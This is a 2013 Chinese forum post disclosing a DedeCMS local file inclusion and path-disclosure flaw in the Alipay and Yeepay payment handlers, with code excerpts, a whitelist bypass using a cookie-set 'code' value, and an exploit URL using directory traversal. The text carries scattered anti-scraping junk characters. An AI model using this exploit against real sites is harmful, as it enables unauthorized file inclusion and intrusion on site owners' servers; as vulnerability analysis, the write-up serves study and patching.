找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1955|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)/ k1 O* T- e9 x0 [7 |
7 d& x8 y& X! A* q9 J
出现漏洞的两个文件为:
) L1 E+ ~9 H' i. x3 CInclude/payment/alipay.php9 Z! v! N& y" K8 x( _: R% [6 F
Include/payment/yeepay.php3 }4 l# Z  n1 o9 h" D/ V) L+ l
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
$ E* e& H/ ?( x- x
2 j! ^& R# m: eInclude/payment/alipay.php
5 F$ g: _/ M* }* V, f( m; H' |/ N3 R/ j" ?/ H5 Y6 C0 t: s
......
7 I  H# s2 D+ h+ U, A& u6 A   function respond()+ I+ o, D% M6 ], i6 u
    {# a4 J* r4 D0 q, a
        if (!empty($_POST)): B- d, e/ C: C9 f* j
        {
; D7 B2 _* c; i; _5 E            foreach($_POST as $key => $data)* W$ w: l6 o7 K2 d0 D2 ^; w8 w
            {& T' Y  u* }- Q- e  b/ J% w/ D
                $_GET[$key] = $data;
' k" Z+ N: v/ u5 u0 _" G: H/ _( j) {            }8 ?( D. T; P+ C( ^5 Q
        }# O2 w9 a( H1 L* T# q/ t7 N3 F
        /* 引入配置文件 */
" g* f+ _3 ]( X3 j; n9 A. ]6 C) H6 q8 J        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
! K/ i4 {& L8 m" d$ |$ m......
, B8 l. Q7 r' y$ ?/ \3 h
  n0 [/ T# a' U. `
! y1 N8 ^4 e1 E" c* q6 `3 ~, @大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。2 e5 W$ r' x, a2 M

( L: P2 f7 @9 H9 ]* J1 Y( c4 sInclude/payment/yeepay.php0 J7 I+ A: z  Z/ H1 W* ], f  \
- O8 p4 }% j  n# O9 g$ g& A4 |

& c" s) _6 a1 R; C+ e0 E$ n/ \) g
& i% D- p- s1 ~; P/ O% K......, p5 m' N4 Y( u: m0 T3 w3 ?
    function respond()# ?: f6 R: I; E. _. Z! m
    {
% V  k" n: C1 C' \9 h/ B  t( j; G ( ]! m& c4 g5 c* G5 H4 E# ?
        /* 引入配置文件 */
8 l& O7 c4 F2 w: O' P        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';) |9 _& X' K6 {8 ?, O' K; b

7 M7 j. |: r6 C0 q        $p1_MerId = trim($payment['yp_account']);
- M3 y. A% e8 m7 v0 _; C        $merchantKey = trim($payment['yp_key']);8 G4 A( Y7 x, C' Z) u
...... - T: X# V: f6 z& g1 E; v! O8 U
# s4 f* ^$ ]# E4 I: {1 C
. D& M: E3 m" B+ p' `0 r

4 Q: i4 ]/ q1 t, x9 ?  C' I! }) \0 C# I) z0 v% r, e
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。9 F$ Y% A9 o7 ]* I

* `  B' L( C9 m, a$ j9 ?) O这两个方法在plus/carbuyaction.php文件调用。) q- c: Q: F) E0 U
6 D/ q9 g3 g3 t, g6 _
plus/carbuyaction.php
& R5 E- ]3 k0 T9 c+ g4 }( x+ q" D4 h- x9 ^4 s2 R) }4 U
......
- q* {: L1 V5 U, h} else if ($dopost == 'return') {% j2 z1 k( o* M9 }  `( `( a5 _3 V
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');9 W1 h6 o. \5 u+ B8 ^$ X- d
    if (in_array($code, $write_list))6 q1 s3 n* i3 C. `) r# t
    {- ^, t" j$ s+ k' J4 c
        require_once DEDEINC.'/payment/'.$code.'.php';
9 |/ ?) D# ~" Y$ A# E        $pay = new $code;. T( m' c+ e5 i
        $msg=$pay->respond();- y1 F2 X: k9 L' l5 c
        ShowMsg($msg, "javascript:;", 0, 3000);
' ^- T* w+ s' p: L* V' K        exit();  3 s+ h' {; U. n: ~$ c9 |
    } else {
6 V! E1 ^1 k2 D( D( O2 u        exit('Error:File Type Can\'t Recognized!');
1 f/ h- ^, a) r! W* d: c: D    }
  `7 B$ T8 h* h3 }2 n% ?: |* F) x}
9 i2 T/ \  \$ R/ a0 Q; I2 U' w- f...... ; K; k$ {' I. ~5 _# e$ i' V. f

  ^0 h/ v" l' N- W# v  X
: X& _4 F3 N8 W 1 L; _: {8 e4 l- M% m/ D

2 A( H  L' b; j& a5 [
( J3 D# ]2 K" U4 b$ [  Q6 U: D9 ^3 @* q4 [- F5 V. M7 d
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。* x& L8 ?' \  j2 t8 [
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
: H) r) N7 l3 v4 Y( T9 P/ V2 C! D! |( b/ i! \# ?
回到include/common.inc.php来看看他的机制。+ W+ x2 M$ x' a, V: ?9 z5 @1 g

/ U. I0 W$ R* x# e0 ~7 |2 s, F2 ?1 F1 v
3 R9 z! Q- r6 y* l" F, w
; T+ b  t' E+ z! M......
% H0 g) \% J5 h: \3 P0 eforeach(Array('_GET','_POST','_COOKIE') as $_request)0 r6 @* m8 N( |/ d" @: j- J* F
{
) G9 @3 X0 {5 g) J( A4 j3 ?! D        foreach($$_request as $_k => $_v)
- S$ r. X) P! B, T! |6 y" R) D        {2 v3 _1 ~1 H7 A: A$ f
                if($_k == 'nvarname') ${$_k} = $_v;3 N3 ?4 @9 j/ x! O8 v7 Y  J" V; x
                else ${$_k} = _RunMagicQuotes($_v);
9 Z+ }, U! k5 x( X6 J: X! B" \4 W        }
7 a3 \! F, {: H; T* y}
6 ~4 r% L) Q0 V......
! g* n. e6 e/ z! [. e大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:- R8 n. N- m; T' ~( s$ {* h; t
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表